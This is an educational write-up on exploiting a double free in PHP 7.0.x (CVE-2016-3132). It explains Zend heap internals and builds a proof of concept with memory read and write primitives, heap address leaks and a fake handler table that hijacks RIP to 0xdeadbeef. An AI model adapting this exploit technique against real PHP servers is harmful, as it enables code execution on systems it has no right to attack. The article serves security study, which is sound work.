B12: Introduction to exploitation of the PHP interpreter by writing a 1day for CVE-2016-3132
Orignial bug:
This article is not about a new 0day I just discovered but is an article which try to explain in details how exploitation of memory corruption in PHP works. We will detail some important structures, mechanisms, tricks and finish by creating a 1day POC for CVE-2016-3132. All of this work has been possible because some people written very good write up on the subject. My thanks go to their work which makes the binary exploitation of the PHP interpreter accessible to the general public.
Let’s start by downloading and compiling the PHP interpreter.
Build php
interpreter in debug mode
Download PHP sources:
$ git clone https://github.com/php/php-src.git
From the root of the php-src project enter the following commands:
$ git checkout PHP-<VERSION>
$ make clean
$ ./buildconf --force
$ ./configure --enable-debug
$ make
Where <VERSION>
is the version of the interpreter you want to use. In our case
we will compile the interpreter for the versions:
- 7.0.1
- 7.0.2
- 7.0.3
- 7.0.4
Your compiled interpreter will be located once the operation is complete in the folder sapi/cli/
Debug the php
interpreter
From a personal point of view when the php
interpreter is compiled with the
--enable-debug
option or not, it is convenient to enable the pretty print
feature in gdb
because it simplifies the understanding of the structures layout.
When the option is disabled:
(gdb) print (zval)*0x7ffff5814420
$1 = {value = {lval = 140737312706880, dval = 6.9533471296486141e-310, counted = 0x7ffff587d140,
str = 0x7ffff587d140, arr = 0x7ffff587d140, obj = 0x7ffff587d140, res = 0x7ffff587d140,
ref = 0x7ffff587d140, ast = 0x7ffff587d140, zv = 0x7ffff587d140, ptr = 0x7ffff587d140,
ce = 0x7ffff587d140, func = 0x7ffff587d140, ww = {w1 = 4119318848, w2 = 32767}}, u1 = {v = {
type = 6 '\006', type_flags = 20 '\024', const_flags = 0 '\000', reserved = 0 '\000'},
type_info = 5126}, u2 = {var_flags = 0, next = 0, cache_slot = 0, lineno = 0, num_args = 0,
fe_pos = 0, fe_iter_idx = 0}}
When the option is enabled:
(gdb) print (zval)*0x7ffff5814420
$2 = {
value = {
lval = 140737312706880,
dval = 6.9533471296486141e-310,
counted = 0x7ffff587d140,
str = 0x7ffff587d140,
arr = 0x7ffff587d140,
obj = 0x7ffff587d140,
res = 0x7ffff587d140,
ref = 0x7ffff587d140,
ast = 0x7ffff587d140,
zv = 0x7ffff587d140,
ptr = 0x7ffff587d140,
ce = 0x7ffff587d140,
func = 0x7ffff587d140,
ww = {
w1 = 4119318848,
w2 = 32767
}
},
u1 = {
v = {
type = 6 '\006',
type_flags = 20 '\024',
const_flags = 0 '\000',
reserved = 0 '\000'
},
type_info = 5126
},
u2 = {
var_flags = 0,
next = 0,
cache_slot = 0,
lineno = 0,
num_args = 0,
fe_pos = 0,
fe_iter_idx = 0
}
}
To activate the feature enter the following command in gdb
:
(gdb) set print pretty on
Now that we have an adequate working environment, let’s go to the heart of the matter:
- Structures
- Memory
- Explorations
For the rest of the article we will name the version of the binary compiled with the debug option:
- php-<VERSION>-debug (eg. php-7.0.1-debug)
And the standard compiled version:
- php-<VERSION>-main (eg. php-7.0.1-main)
Let’s take the following PHP script that we will name example_0.php:
File: example_0.php
<?php
$s = str_repeat("A", 4);
var_dump($s);
?>
Once executed, it returns the following result:
$ bin/php-7.0.1-debug example_0.php
string(4) "AAAA"
Let’s open this one with gdb
.
$ gdb bin/php-7.0.1-main
...
Reading symbols from bin/php-7.0.1-main...
(gdb) r example_0.php
Starting program: <HIDDEN>/bin/php-7.0.1-main example_0.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
string(4) "AAAA"
[Inferior 1 (process 1236) exited normally]
In order to better observe how $s
is represented in memory we will uses a
breakpoint. As we use the var_dump
function after defining $s
let’s set a
breakpoint on it. I advise you to have access to the code of the PHP interpreter
next to you and the documentation
because it will be helpful.
We therefore define a break on the function php_var_dump
and not on var_dump
because it does not really exists, I let you look in the code why but here’s a
little hint.
File: ext/standard/php_var.h
...
PHP_FUNCTION(var_dump);
PHP_FUNCTION(var_export);
PHP_FUNCTION(debug_zval_dump);
PHP_FUNCTION(serialize);
PHP_FUNCTION(unserialize);
PHP_FUNCTION(memory_get_usage);
PHP_FUNCTION(memory_get_peak_usage);
PHPAPI void php_var_dump(zval *struc, int level);
PHPAPI void php_var_export(zval *struc, int level);
PHPAPI void php_var_export_ex(zval *struc, int level, smart_str *buf);
PHPAPI void php_debug_zval_dump(zval *struc, int level);
...
The breakpoint displays the following result:
(gdb) break php_var_dump
Breakpoint 1 at 0x328eb0: file <HIDDEN>/php-src/ext/standard/var.c, line 89.
(gdb) r example_0.php
Starting program: <HIDDEN>/bin/php-7.0.1-main example_0.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, php_var_dump (struc=0x7ffff5813130, level=1)
at <HIDDEN>/php-src/ext/standard/var.c:89
89 if (level > 1) {
(gdb) print (zval)*0x7ffff5813130
$1 = {
value = {
lval = 140737312204072,
dval = 6.9533471048065982e-310,
counted = 0x7ffff5802528,
str = 0x7ffff5802528,
arr = 0x7ffff5802528,
obj = 0x7ffff5802528,
res = 0x7ffff5802528,
ref = 0x7ffff5802528,
ast = 0x7ffff5802528,
zv = 0x7ffff5802528,
ptr = 0x7ffff5802528,
ce = 0x7ffff5802528,
func = 0x7ffff5802528,
ww = {
w1 = 4118816040,
w2 = 32767
}
},
u1 = {
v = {
type = 6 '\006',
type_flags = 20 '\024',
const_flags = 0 '\000',
reserved = 0 '\000'
},
type_info = 5126
},
u2 = {
var_flags = 0,
next = 0,
cache_slot = 0,
lineno = 0,
num_args = 0,
fe_pos = 0,
fe_iter_idx = 0
}
}
You have the right to ask yourself why we used:
(gdb) print (zval)*0x7ffff5813130
It is because the function php_var_dump()
takes as parameters a pointer to a
zval
and an int
. Furthermore, I’m just going to quote the documentation.
A zval (short for “Zend value”) represents an arbitrary PHP value. As such it is likely the most important structure in all of PHP and you’ll be working with it a lot. This section describes the basic concepts behind zvals and their use.
- https://www.phpinternalsbook.com/php7/zvals/basic_structure.html
The structure _zval_struct
is represented as:
File: Zend/zend_types.h
...
struct _zval_struct {
zend_value value; /* value */
union {
struct {
ZEND_ENDIAN_LOHI_4(
zend_uchar type, /* active type */
zend_uchar type_flags,
zend_uchar const_flags,
zend_uchar reserved) /* call info for EX(This) */
} v;
uint32_t type_info;
} u1;
union {
uint32_t var_flags;
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* literal cache slot */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
} u2;
};
...
Where zend_value value
is represented as:
File: Zend/zend_types.h
...
typedef union _zend_value {
zend_long lval; // For IS_LONG
double dval; // For IS_DOUBLE
zend_refcounted *counted;
zend_string *str; // For IS_STRING
zend_array *arr; // For IS_ARRAY
zend_object *obj; // For IS_OBJECT
zend_resource *res; // For IS_RESOURCE
zend_reference *ref; // For IS_REFERENCE
zend_ast_ref *ast; // For IS_CONSTANT_AST (special)
zval *zv; // For IS_INDIRECT (special)
void *ptr;
zend_class_entry *ce;
zend_function *func;
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;
...
As you have understood this structure can represent many things and therefore what is important is the type of data represented. Here is a small summary of what the type element can take.
File: Zend/zend_types.h
...
/* regular data types */
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4
#define IS_DOUBLE 5
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10
...
Let’s go back to the output of the previous command:
(gdb) print (zval)*0x7ffff5813130
$1 = {
value = {
lval = 140737312204072,
dval = 6.9533471048065982e-310,
counted = 0x7ffff5802528,
str = 0x7ffff5802528,
arr = 0x7ffff5802528,
obj = 0x7ffff5802528,
res = 0x7ffff5802528,
ref = 0x7ffff5802528,
ast = 0x7ffff5802528,
zv = 0x7ffff5802528,
ptr = 0x7ffff5802528,
ce = 0x7ffff5802528,
func = 0x7ffff5802528,
ww = {
w1 = 4118816040,
w2 = 32767
}
},
u1 = {
v = {
type = 6 '\006',
type_flags = 20 '\024',
const_flags = 0 '\000',
reserved = 0 '\000'
},
type_info = 5126
},
u2 = {
var_flags = 0,
next = 0,
cache_slot = 0,
lineno = 0,
num_args = 0,
fe_pos = 0,
fe_iter_idx = 0
}
}
We have u1.v.type
equals to 6
which means that our zval
allows us to
access the structure of a string (IS_STRING = 6
, str = 0x7ffff5802528
) in
memory. The structure _zend_string
can be printed in gdb
using the command:
(gdb) print (zend_string)*<PTR>
And is defined as follows:
File: Zend/zend_types.h
...
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1];
};
...
Where zend_refcounted_h gc
is represented as:
File: Zend/zend_types.h
...
typedef struct _zend_refcounted_h {
uint32_t refcount; /* reference counter 32-bit */
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type,
zend_uchar flags, /* used for strings & objects */
uint16_t gc_info) /* keeps GC root number (or 0) and color */
} v;
uint32_t type_info;
} u;
} zend_refcounted_h;
...
Which gives us:
(gdb) print (zend_string)*0x7ffff5802528
$2 = {
gc = {
refcount = 2,
u = {
v = {
type = 6 '\006',
flags = 0 '\000',
gc_info = 0
},
type_info = 6
}
},
h = 0,
len = 4,
val = "A"
}
This can also be obtained via:
(gdb) x/7x 0x7ffff5802528
0x7ffff5802528: 0x00000002 0x00000006 0x00000000 0x00000000
0x7ffff5802538: 0x00000004 0x00000000 0x41414141
The memory allocator and the bug
The bug is described here but before we understand what a double free is, we should first understand how is handled the memory of the heap. Here is the structure representing your heap in memory.
File: Zend/zend_alloc.c
...
/*
* Memory is retrived from OS by chunks of fixed size 2MB.
* Inside chunk it's managed by pages of fixed size 4096B.
* So each chunk consists from 512 pages.
* The first page of each chunk is reseved for chunk header.
* It contains service information about all pages.
*
* free_pages - current number of free pages in this chunk
*
* free_tail - number of continuous free pages at the end of chunk
*
* free_map - bitset (a bit for each page). The bit is set if the corresponding
* page is allocated. Allocator for "lage sizes" may easily find a
* free page (or a continuous number of pages) searching for zero
* bits.
*
* map - contains service information for each page. (32-bits for each
* page).
* usage:
* (2 bits)
* FRUN - free page,
* LRUN - first page of "large" allocation
* SRUN - first page of a bin used for "small" allocation
*
* lrun_pages:
* (10 bits) number of allocated pages
*
* srun_bin_num:
* (5 bits) bin number (e.g. 0 for sizes 0-2, 1 for 3-4,
* 2 for 5-8, 3 for 9-16 etc) see zend_alloc_sizes.h
*/
struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
int use_custom_heap;
#endif
#if ZEND_MM_STORAGE
zend_mm_storage *storage;
#endif
#if ZEND_MM_STAT
size_t size; /* current memory usage */
size_t peak; /* peak memory usage */
#endif
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
...
};
...
We will not focus on the whole management of the heap, but only interested in the allocation of small elements. The difference between each bin is the size of the free chunks:
- heap->free_slot[0] contains a singly-linked list of pointers to free chunks with size of 1 - 8 bytes.
- heap->free_slot[1] contains a singly-linked list of pointers to free chunks with size of 9 - 16 bytes.
- heap->free_slot[2] contains a singly-linked list of pointers to free chunks with size of 17 - 24 bytes.
- …
- heap->free_slot[N] contains a singly-linked list of pointers to free chunks with size from ((N8)+1) to ((N+1)8) bytes.
Memory allocation
As the documentation so well quotes it, we just need to read the contents of the file Zend/zend_alloc.h.
File: Zend/zend_alloc.h
...
#define emalloc(size) _emalloc((size) ZEND_FILE_LINE_CC ZEND_FILE_LINE_EMPTY_CC)
...
This leads us to read the file Zend/zend_alloc.c
and allows us to understand that what interests us is managed by the function
zend_mm_alloc_small()
.
_emalloc()
zend_mm_alloc_heap()
zend_mm_alloc_small()
File: Zend/zend_alloc.c
...
static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, size_t size, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
...
if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
zend_mm_free_slot *p = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p->next_free_slot;
return (void*)p;
} else {
return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
}
...
The following sequence:
...
zend_mm_free_slot *p = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p->next_free_slot;
return (void*)p;
...
Is equivalent to a “pop” from the singly-linked list heap->free_slot[bin_num]
.
It is therefore a Last In First Out (LIFO) mechanism that is used by the
allocator.
Memory space release
The same goes for releasing memory.
File: Zend/zend_alloc.h
...
#define efree(ptr) _efree((ptr) ZEND_FILE_LINE_CC ZEND_FILE_LINE_EMPTY_CC)
...
_efree()
zend_mm_free_heap()
zend_mm_free_small()
File: Zend/zend_alloc.c
...
static zend_always_inline void zend_mm_free_small(zend_mm_heap *heap, void *ptr, int bin_num)
{
zend_mm_free_slot *p;
...
p = (zend_mm_free_slot*)ptr;
p->next_free_slot = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p;
}
...
So what happens when a pointer is free twice?
Below a small diagram explaining what happens during a double free:
The list of free objects is first empty.
After the first efree()
it becomes:
- [c]
After the second efree()
it becomes:
- [b, c]
And after the last efree()
it becomes:
- [b, b, c]
Now what happens when we re-allocate objects?
The list of free objects is:
- [b, b, c]
After the first emalloc()
it becomes:
- [b, c]
After the second emalloc()
it becomes:
- [c]
Only now we have two variable (zval
) representing different objects that point
to the same memory space which is filled with the information of the last
allocated object.
The vulnerability
The vulnerability was discovered by Emmanuel Law in 2016. It’s a double free
vulnerability in the SplDoublyLinkedList::offsetSet(mixed $index , mixed $newval)
function defined here:
- ext/spl/spl_dllist.c
The following example:
File: CVE-2016-3132_0_bug.php
<?php
$var_1 = new SplStack();
$var_1->offsetSet(100, new DateTime('2000-01-01'));
?>
Will trigger the bug and an error message:
$ bin/php-7.0.1-main CVE-2016-3132_0_bug.php
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in <HIDDEN>/CVE-2016-3132_0_bug.php:4
Stack trace:
#0 {main}
thrown in <HIDDEN>/CVE-2016-3132_0_bug.php on line 4
PHP exits immediately after this fatal error message. To exploit this
vulnerability, we will prevent PHP from exiting after the double free by
catching the exception with set_exception_handler()
.
The questions we can ask ourselves now are:
- Which objects will we overlap in order to control the execution flow of our program?
- How we will take control of the execution flow?
To answer the second one we must obtain two primitives:
- Read the memory.
- Write into the memory.
In order to write into the memory we must know where we are currently.
The strategy is as follows:
- Read the memory.
- Identify our position within the memory.
- Write into the memory.
- Take control of the execution flow.
Candidate object
The structure _spl_fixedarray_object
is represented below:
File: ext/spl/spl_fixedarray.c
...
typedef struct _spl_fixedarray_object {
spl_fixedarray *array;
zend_function *fptr_offset_get;
zend_function *fptr_offset_set;
zend_function *fptr_offset_has;
zend_function *fptr_offset_del;
zend_function *fptr_count;
int current;
int flags;
zend_class_entry *ce_get_iterator;
zend_object std;
} spl_fixedarray_object;
...
Where spl_fixedarray
is represented as:
File: ext/spl/spl_fixedarray.c
...
typedef struct _spl_fixedarray {
zend_long size;
zval *elements;
} spl_fixedarray;
...
Which can be displayed in gdb
using the command:
(gdb) print (spl_fixedarray_object)*<PTR>
The structure _zend_string
is represented below:
File: Zend/zend_types.h
...
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1];
};
...
By chance, element zend_function *fptr_offset_set
from
_spl_fixedarray_object
is at the same position as element size_t len
from
_zend_string
. So, if a _spl_fixedarray_object
overlaps a _zend_string
then
the string length will be replaced by a pointer, which when represented as an
integer, is a huge value compared to the normal length of a string.
The diagram below summarizes the above principle:
String before overlap:
(gdb) print (zend_string)*0x7ffff5877620
$1 = {
gc = {
refcount = 2,
u = {
v = {
type = 6 '\006',
flags = 0 '\000',
gc_info = 0
},
type_info = 6
}
},
h = 0,
len = 72,
val = "C"
}
String after overlap:
(gdb) print (zend_string)*0x7ffff5877620
$2 = {
gc = {
refcount = 4119282624,
u = {
v = {
type = 255 '\377',
flags = 127 '\177',
gc_info = 0
},
type_info = 32767
}
},
h = 140737312208000,
len = 140737312208208,
val = "\260"
}
Check in python
the hex representation of integer 140737312208208
using
function hex()
.
>>> hex(140737312208208)
'0x7ffff5803550'
Display of the same memory space but interpreted as an spl_fixedarray_object
object.
(gdb) print (spl_fixedarray_object)*0x7ffff5877620
$3 = {
array = 0x7ffff58743c0,
fptr_offset_get = 0x7ffff5803480,
fptr_offset_set = 0x7ffff5803550,
fptr_offset_has = 0x7ffff58033b0,
fptr_offset_del = 0x7ffff5803620,
fptr_count = 0x0,
...
}
We have just highlighted the mechanics of overlap. Now that we have a string with a huge length we will be able to read forward into the memory (for the moment it is impossible for us to read what is before this string).
Read and write into the memory
When memory corruption occurs, changing the length of a string allows you to read and write all the memory covered by its length.
Read memory
...
function str2ptr(&$str, $offset=0, $size=8, $endianness="l") {
$address = 0;
if ($endianness === "l") {
for($i = $size-1; $i >= 0; $i--) {
$address <<= 8;
$address |= ord($str[$offset+$i]);
}
}
return $address;
}
...
Write into memory
...
function write(&$str, $offset, $value, $size=8, $endianness="l") {
if ($endianness === "l") {
for($i = 0; $i < $size; $i++) {
$str[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
}
...
The function above will write $value
at $offset
from the memory address of
$s+0x18
which is a string (you will see why +0x18
later).
To see a little example to demonstrate whats two previous fonctions does, read the script example_1.php
Result:
$ php example_1.php
string:
string(26) "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
leak:
int(5497569448741520965)
string after writing in it 3 times:
string(26) "ABCDDCBAEEEEFFFFFFFFUVWXYZ"
Finding yourself in memory
As shown in figure number 2, when a structure is free from memory, the first bytes are rewritten to be replaced by a pointer to the next free memory area.
So if we free the second element after the corrupted object, then the first after the corrupted object, and we start reading in memory using our corrupted object, then we can extract from the first bytes of the second element freed the address of the first element freed.
The question we can ask ourselves is how many bytes we need to read, to get
elti+2
’s address. Each his own method, for my part I chose to use a script
that will leak memory for different offset and see for which offset we get the
desired address.
If the php
binary is compiled with option --enable-debug
the address of
elti+2
is at offset:
$offset = 0x88
(136)
While when the binary is not compiled with this option the address is at the offset:
$offset = 0x58
(88)
As it can be seen from the execution of CVE-2016-3132_1_choose_offsets.php:
Starting program: <HIDDEN>/bin/php-7.0.1-main CVE-2016-3132_1_choose_offsets.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
...
[+] Leak using offset: 0x0, address: 0x7ffff58033b0
[+] Leak using offset: 0x1, address: 0x2000007ffff58033
[+] Leak using offset: 0x2, address: 0x362000007ffff580
[+] Leak using offset: 0x3, address: 0x80362000007ffff5
[+] Leak using offset: 0x4, address: 0xf580362000007fff
[+] Leak using offset: 0x5, address: 0xfff580362000007f
[+] Leak using offset: 0x6, address: 0x7ffff58036200000
[+] Leak using offset: 0x7, address: 0x7ffff580362000
[+] Leak using offset: 0x8, address: 0x7ffff5803620
...
Now that we have elti+2
’s address we can calculate the address of elti+1
because when the interpreter is compiled with option option --enable-debug
it
is at a distance of:
$offset = 0xa0
(160)
While when the binary is not compiled with this option:
$offset = 0x70
(112)
Now that we have elti+1
’s address we can calculate the address of the
corrupted memory area because when the interpreter is compiled with option
--enable-debug
it is at a distance of:
$offset = 0xe0
(224)
While when the binary is not compiled with this option:
$offset = 0xb0
(176)
All these calculations are done within the following PHP sample:
File: CVE-2016-3132_2_know_current_location.php
<?php
$DEBUG = 1;
// Is php interpreter compiled in debug mode.
// This will change offsets between object.
$DEBUG_MODE = 1;
...
// Leaking of an address from the heap.
if ($DEBUG_MODE) {
$offset = 0x88;
} else {
$offset = 0x58;
}
$leak = str2ptr($overlapped, $offset, 0x8, "l");
print "[+] Leaking heap address: 0x" . dechex($leak) . " at offset 0x" . dechex($offset) . "\n";
// Identification of the first freed object.
$offset = 0x40;
$elt52th = $leak + $offset;
print "[*] Adding empiric shift: +0x" . dechex($offset) . ", 52th elt is at address: 0x" . dechex($elt52th) ."\n";
// Identification of the second freed object.
if ($DEBUG_MODE) {
$offset = 0xa0;
} else {
$offset = 0x70;
}
$elt51th = $elt52th - $offset;
print "[*] Adding empiric shift: -0x" . dechex($offset) . ", 51th elt is at address: 0x" . dechex($elt51th) ."\n";
// Identification of the memory address under
// our control.
if ($DEBUG_MODE) {
$offset = 0xe0;
} else {
$offset = 0xb0;
}
$elt50th = $elt51th - $offset;
print "[*] Adding empiric shift: -0x" . dechex($offset) . ", 50th elt (\$overlapped) is at address: 0x" . dechex($elt50th) ."\n";
...
Executed with two different php
binaries this gives us:
- In debug mode:
$ ./bin/php-7.0.1-debug CVE-2016-3132_2_know_current_location.php
[+] Leaking heap address: 0x7f4eb987a140 at offset 0x88
[*] Adding empiric shift: +0x40, 52th elt is at address: 0x7f4eb987a180
[*] Adding empiric shift: -0xa0, 51th elt is at address: 0x7f4eb987a0e0
[*] Adding empiric shift: -0xe0, 50th elt ($overlapped) is at address: 0x7f4eb987a000
[1] 1062 segmentation fault ./bin/php-7.0.1-debug c.php
- Without the debug mode:
./bin/php-7.0.1-main CVE-2016-3132_2_know_current_location.php
[+] Leaking heap address: 0x7f3de4277700 at offset 0x58
[*] Adding empiric shift: +0x40, 52th elt is at address: 0x7f3de4277740
[*] Adding empiric shift: -0x70, 51th elt is at address: 0x7f3de42776d0
[*] Adding empiric shift: -0xb0, 50th elt ($overlapped) is at address: 0x7f3de4277620
[1] 1088 segmentation fault ./bin/php-7.0.1-main c.php
Now we know exactly where we are in the memory.
Let’s write data in the heap
When we try to write in the string we control ($overlapped
) an exception is
thrown. After a little investigation we come to the following conclusion. If the
php
interpret has been compiled with option --enable-debug
we will stop the
exploit after leaking some memory from the heap, because a call to function
write()
will rise an exception because the written string is not terminated by
a null character.
You can read the file Zend/zend_variables.c line
225 within function _zval_copy_ctor_func()
, were it calls function
CHECK_ZVAL_STRING_REL()
.
File: Zend/zend_variables.c
...
ZEND_API void ZEND_FASTCALL _zval_copy_ctor_func(zval *zvalue ZEND_FILE_LINE_DC)
{
if (EXPECTED(Z_TYPE_P(zvalue) == IS_ARRAY)) {
ZVAL_ARR(zvalue, zend_array_dup(Z_ARRVAL_P(zvalue)));
} else if (EXPECTED(Z_TYPE_P(zvalue) == IS_STRING) ||
EXPECTED(Z_TYPE_P(zvalue) == IS_CONSTANT)) {
CHECK_ZVAL_STRING_REL(Z_STR_P(zvalue));
Z_STR_P(zvalue) = zend_string_dup(Z_STR_P(zvalue), 0);
} else if (EXPECTED(Z_TYPE_P(zvalue) == IS_CONSTANT_AST)) {
zend_ast_ref *ast = emalloc(sizeof(zend_ast_ref));
GC_REFCOUNT(ast) = 1;
GC_TYPE_INFO(ast) = IS_CONSTANT_AST;
ast->ast = zend_ast_copy(Z_ASTVAL_P(zvalue));
Z_AST_P(zvalue) = ast;
}
}
...
Indeed the function CHECK_ZVAL_STRING_REL()
rise an exception as we can see in
file Zend/zend_API.h.
File: Zend/zend_API.h
...
#if ZEND_DEBUG
#define CHECK_ZVAL_STRING(str) \
if (ZSTR_VAL(str)[ZSTR_LEN(str)] != '\0') { zend_error(E_WARNING, "String is not zero-terminated (%s)", ZSTR_VAL(str)); }
#define CHECK_ZVAL_STRING_REL(str) \
if (ZSTR_VAL(str)[ZSTR_LEN(str)] != '\0') { zend_error(E_WARNING, "String is not zero-terminated (%s) (source: %s:%d)", ZSTR_VAL(str) ZEND_FILE_LINE_RELAY_CC); }
#else
#define CHECK_ZVAL_STRING(z)
#define CHECK_ZVAL_STRING_REL(z)
#endif
...
We can either patch the source code of the php
interpreter to avoid this
exception or use a compiled interpreter without the --enable-debug
option. In
my case I chose the second option this is why I had calculated some offsets for
both binaries.
Let’s write some junk first
When we write some junk with example:
...
write($overlapped, 0x0, 0x4141414141414141, 0x8);
...
We start writing to the zend_string
structure at offset 24 (0x18) where
val[1]
takes place. Which gives us this in gdb
(structure representing
$overlapped
):
(gdb) print (zend_string)*0x7ffff588b700
$1 = {
gc = {
refcount = 4119282592,
u = {
v = {
type = 255 '\377',
flags = 127 '\177',
gc_info = 0
},
type_info = 32767
}
},
h = 0,
len = 140737312208208,
val = "A"
}
Which we can be observed differently using:
(gdb) x/2x 0x7ffff588b700+24
0x7ffff588b718: 0x41414141 0x41414141
The two objects $overlapped
and $overlapping
share the same memory space so
writing in the first one will modify the second.
Consequences on object $overlapping
:
$36 = {
array = 0x7ffff58743a0,
fptr_offset_get = 0x0,
fptr_offset_set = 0x7ffff5803550,
fptr_offset_has = 0x4141414141414141,
fptr_offset_del = 0x7ffff5803620,
fptr_count = 0x0,
current = 0,
flags = 0,
ce_get_iterator = 0x0,
std = {
gc = {
refcount = 1,
u = {
v = {
type = 8 '\b',
flags = 0 '\000',
gc_info = 49254
},
type_info = 3227910152
}
},
handle = 52,
ce = 0x7ffff5803358,
handlers = 0x555555edd7c0 <spl_handler_SplFixedArray>,
properties = 0x0,
properties_table = {{
value = {
lval = 0,
dval = 0,
counted = 0x0,
str = 0x0,
arr = 0x0,
obj = 0x0,
res = 0x0,
ref = 0x0,
ast = 0x0,
zv = 0x0,
ptr = 0x0,
ce = 0x0,
func = 0x0,
ww = {
w1 = 0,
w2 = 0
}
},
u1 = {
v = {
type = 224 '\340',
type_flags = 183 '\267',
const_flags = 136 '\210',
reserved = 245 '\365'
},
type_info = 4119377888
},
u2 = {
var_flags = 32767,
next = 32767,
cache_slot = 32767,
lineno = 32767,
num_args = 32767,
fe_pos = 32767,
fe_iter_idx = 32767
}
}}
}
}
We can see that we have rewritten the pointer fptr_offset_has
from structure
spl_fixedarray_object
($overlapping
). But in order to control the execution
flow of the program we will need to rewrite the handlers
pointer. In order to
do this we will have to increase the offset defined when calling the write()
function.
We realize that handlers
is at 88 (0x58) bytes from the beginning of the
structure, but with the write()
function we start to write at the offset 24
(0x18) as said earlier, so we need 64 (0x40) more bytes to reach handlers
. The
handlers
structure store some function pointers for the operations related to
this saved object, such as reading and writing of member properties, obtaining
member methods, destroying/cloning objects, etc.
We could replace handlers
value with the following line:
...
write($overlapped, 0x40, 0x4141414141414141, 0x8);
...
Now we just have to write useful values instead of writing junk (AAAAAAAA
).
Let’s write usefull stuff
As explained earlier, we want to overwrite the handlers
pointer so that it
points to a fake zend_object_handlers
object under our control. This way we
could control the flow of execution.
The struct _zend_object_handlers
is represented below:
File: Zend/zend_object_handlers.h
...
struct _zend_object_handlers {
/* offset of real object header (usually zero) */
int offset;
/* general object functions */
zend_object_free_obj_t free_obj;
zend_object_dtor_obj_t dtor_obj;
zend_object_clone_obj_t clone_obj;
/* individual object functions */
zend_object_read_property_t read_property;
zend_object_write_property_t write_property;
zend_object_read_dimension_t read_dimension;
zend_object_write_dimension_t write_dimension;
zend_object_get_property_ptr_ptr_t get_property_ptr_ptr;
zend_object_get_t get;
zend_object_set_t set;
zend_object_has_property_t has_property;
zend_object_unset_property_t unset_property;
zend_object_has_dimension_t has_dimension;
zend_object_unset_dimension_t unset_dimension;
zend_object_get_properties_t get_properties;
zend_object_get_method_t get_method;
zend_object_call_method_t call_method;
zend_object_get_constructor_t get_constructor;
zend_object_get_class_name_t get_class_name;
zend_object_compare_t compare_objects;
zend_object_cast_t cast_object;
zend_object_count_elements_t count_elements;
zend_object_get_debug_info_t get_debug_info;
zend_object_get_closure_t get_closure;
zend_object_get_gc_t get_gc;
zend_object_do_operation_t do_operation;
zend_object_compare_zvals_t compare;
};
...
Which can be represented in gdb
using the command:
(gdb) print (zend_object_handlers)*<PTR>
Let’s write a fake zend_object_handlers
The creation of a fake handler in the heap is done in the following way:
...
// When we write, we start writing to the _zend_string
// structure at offset 24 (0x18) where val[1] takes place.
// We will write the handlers field of the structure
// _spl_fixedarray_object.
$fake_handler = $elt50th + 0x18 + 0x500;
print "[+] Creating fake handler at: 0x" . dechex($fake_handler) ."\n";
// Creates a fake structure zend_object_handlers at address $fake_handler.
// Write fake offset.
write($overlapped, 0x500, 0x40, 0x8);
// Write fake free_obj.
write($overlapped, 0x508, 0x4141414141414141, 0x8);
// Write fake dtor_obj.
write($overlapped, 0x510, 0xdeadbeef, 0x8);
...
Then we rewrite the pointer handlers
from $overlapping
to point to this
newly created structure:
...
print "[+] Overwriting overlapping object handlers.\n";
// Overwrite handlers.
write($overlapped, 0x40, $fake_handler, 0x8);
...
And finally we take control of the execution flow using the unset()
so RIP
will be equal to 0xdeadbeef
:
...
print "[+] Taking controll of RIP.\n";
// RIP will be set to 0xdeadbeef.
unset($overlapping);
...
Result:
$ gdb bin/php-7.0.1-main
...
Starting program: <HIDDEN>/bin/php-7.0.1-main CVE-2016-3132_3_control_eip.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] Leaking heap address: 0x7ffff5877700 at offset 0x58
[*] Adding empiric shift: +0x40, 52th elt is at address: 0x7ffff5877740
[*] Adding empiric shift: -0x70, 51th elt is at address: 0x7ffff58776d0
[*] Adding empiric shift: -0xb0, 50th elt ($overlapped) is at address: 0x7ffff5877620
[+] Creating fake handler at: 0x7ffff5877b38
[+] Overwriting overlapping object handlers.
[+] Taking controll of RIP.
Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
(gdb) info registers
rax 0x7ffff5877b38 140737312684856
rbx 0x7ffff5813030 140737312272432
rcx 0x8 8
rdx 0x4a09f6774d7a8cd 333441639116155085
rsi 0x0 0
rdi 0x7ffff5877660 140737312683616
rbp 0x7fffffffa9e0 0x7fffffffa9e0
rsp 0x7fffffffa768 0x7fffffffa768
r8 0x0 0
r9 0x7ffff5813600 140737312273920
r10 0x78190 491920
r11 0x246 582
r12 0x7fffffffaab0 140737488333488
r13 0x555555ef2aa0 93825002318496
r14 0x7ffff5813030 140737312272432
